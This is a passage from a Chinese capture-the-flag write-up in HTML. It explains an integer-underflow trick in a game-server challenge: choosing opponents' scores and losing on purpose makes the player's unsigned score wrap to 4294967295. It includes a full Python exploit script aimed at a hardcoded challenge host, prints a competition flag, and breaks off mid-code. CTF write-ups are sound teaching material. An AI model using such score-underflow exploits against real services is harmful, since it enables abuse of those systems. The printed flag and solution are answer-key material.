leaf="">思路：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">开局 reset 后是 50 分，赢 10 分对手，自己 50 -&gt; 53，对手 10 -&gt; 7 ， 输 20 分对手，自己 53 -&gt; 37，再输另一个 20 分对手，自己 37 -&gt; 23 ，输 30 分对手，自己 23 -&gt; 15 ，输已经变成 38 分的对手，自己 15 -&gt; 10 ，最后输给已经变成 7 分的对手，delta = -11，自己 10 + (-11) 下溢成 4294967295 ，之后直接读指令即可。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">没抽到想要的分数可以直接认输重抽。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">赢法：找个边连下 4 个即可。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">eg： (10,14) (11,14) (12,14) (13,14) (14,14)</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">输法：随便下，不用管。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">eg： (14,14) (12,14) (10,14) (8,14) (6,14)</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#!/usr/bin/env python3</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> argparse</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> re</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> socket</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span leaf="">MAGIC = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;GAME&#34;</span></span><span leaf=""><br/></span><span leaf="">WIN = [(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">), (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">), (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">), (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">), (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">LOSE = [(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">), (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">), (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">), (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">), (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">PLAN = [</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Win&#34;</span></span><span leaf="">, WIN),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Lose&#34;</span></span><span leaf="">, LOSE),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Lose&#34;</span></span><span leaf="">, LOSE),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">30</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Lose&#34;</span></span><span leaf="">, LOSE),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">38</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Lose&#34;</span></span><span leaf="">, LOSE),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Lose&#34;</span></span><span leaf="">, LOSE),</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">MATCH_RE = re.compile(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;^Matched (.+) Score=(\d+) You=Black$&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">pkt</span></span><span style="line-height: 26px;"><span leaf="">(cmd: int, payload: bytes = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf="">)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> MAGIC + struct.pack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&gt;I&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf=""> + len(payload)) + bytes([cmd]) + payload</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">recv_exact</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket, n: int)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    out = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> len(out) &lt; n:</span><span leaf=""><br/></span><span leaf="">        chunk = sock.recv(n - len(out))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> chunk:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> EOFError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;connection closed&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        out += chunk</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> out</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">req</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket, cmd: int, payload: bytes = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf="">, verbose: bool = False)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span leaf="">    sock.sendall(pkt(cmd, payload))</span><span leaf=""><br/></span><span leaf="">    head = recv_exact(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> head[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">] != MAGIC:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;bad magic: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{head[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">]!r}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    size = struct.unpack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&gt;I&#34;</span></span><span leaf="">, head[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">])[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf=""><br/></span><span leaf="">    body = recv_exact(sock, size).decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;utf-8&#34;</span></span><span leaf="">, errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;replace&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> verbose:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{cmd}</span></span><span leaf="">] </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{body}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> body</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">pick_score</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket, target: int, verbose: bool)</span></span><span leaf=""> -&gt; tuple[str, int]:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        text = req(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">, verbose=verbose)</span><span leaf=""><br/></span><span leaf="">        m = MATCH_RE.match(text)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> m:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;bad match reply: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{text!r}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        name, score = m.group(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">), int(m.group(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;match </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{name}</span></span><span leaf=""> score=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{score}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> score == target:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> name, score</span><span leaf=""><br/></span><span leaf="">        text = req(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">, verbose=verbose)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> text.startswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Draw Delta=0 &#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;redraw failed: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{text!r}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">play</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket, moves: list[tuple[int, int]], expect: str, verbose: bool)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span leaf="">    last = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> x, y </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> moves:</span><span leaf=""><br/></span><span leaf="">        last = req(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{x}</span></span><span leaf="">,</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{y}</span></span><span leaf="">&#34;</span></span><span leaf="">.encode(), verbose=verbose)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> last.startswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Continue &#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> last.startswith(expect + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34; &#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;expected </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{expect}</span></span><span leaf="">, got </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{last!r}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> last</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf=""> -&gt; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    ap = argparse.ArgumentParser(description=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Exploit&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--host&#34;</span></span><span leaf="">, default=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;114.66.24.221&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--port&#34;</span></span><span leaf="">, type=int, default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">33589</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--verbose&#34;</span></span><span leaf="">, action=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;store_true&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    args = ap.parse_args()</span><span leaf=""><br/></span><span leaf="">    sock = socket.create_connection((args.host, args.port))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(req(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, verbose=args.verbose))</span><span leaf=""><br/></span><span leaf="">        print(req(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">, verbose=args.verbose))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> target, outcome, moves </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> PLAN:</span><span leaf=""><br/></span><span leaf="">            name, _ = pick_score(sock, target, args.verbose)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;target=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{target}</span></span><span leaf=""> opponent=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{name}</span></span><span leaf=""> outcome=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{outcome}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(play(sock, moves, outcome, args.verbose))</span><span leaf=""><br/></span><span leaf="">            print(req(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">, verbose=args.verbose))</span><span leaf=""><br/></span><span leaf="">        print(req(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, verbose=args.verbose))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">finally</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        sock.close()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span></code></pre><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Misc:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Merlin</span></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030591" data-ratio="0.15113350125944586" data-type="png" data-w="397" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9de0500b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2NnibLgP9Uicw9sgrnIeXRezicnFsClmnzZCvvI6tFk56vHVA0qNOTpnFC14kqBWbkOHSlI88QIIAJM9liaPSaicn5R2fnbIdnuHByg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">NCTF{88478dd1-ec24-4f2b-a4a5-a25e85b5c868}</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">What a mess!</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> csv</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> re</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> unicodedata</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> decimal </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Decimal, InvalidOperation</span><span leaf=""><br/></span><span leaf="">ZW_RE = re.compile(</span><span style="color: #98c379;line-height: 26px;"><span 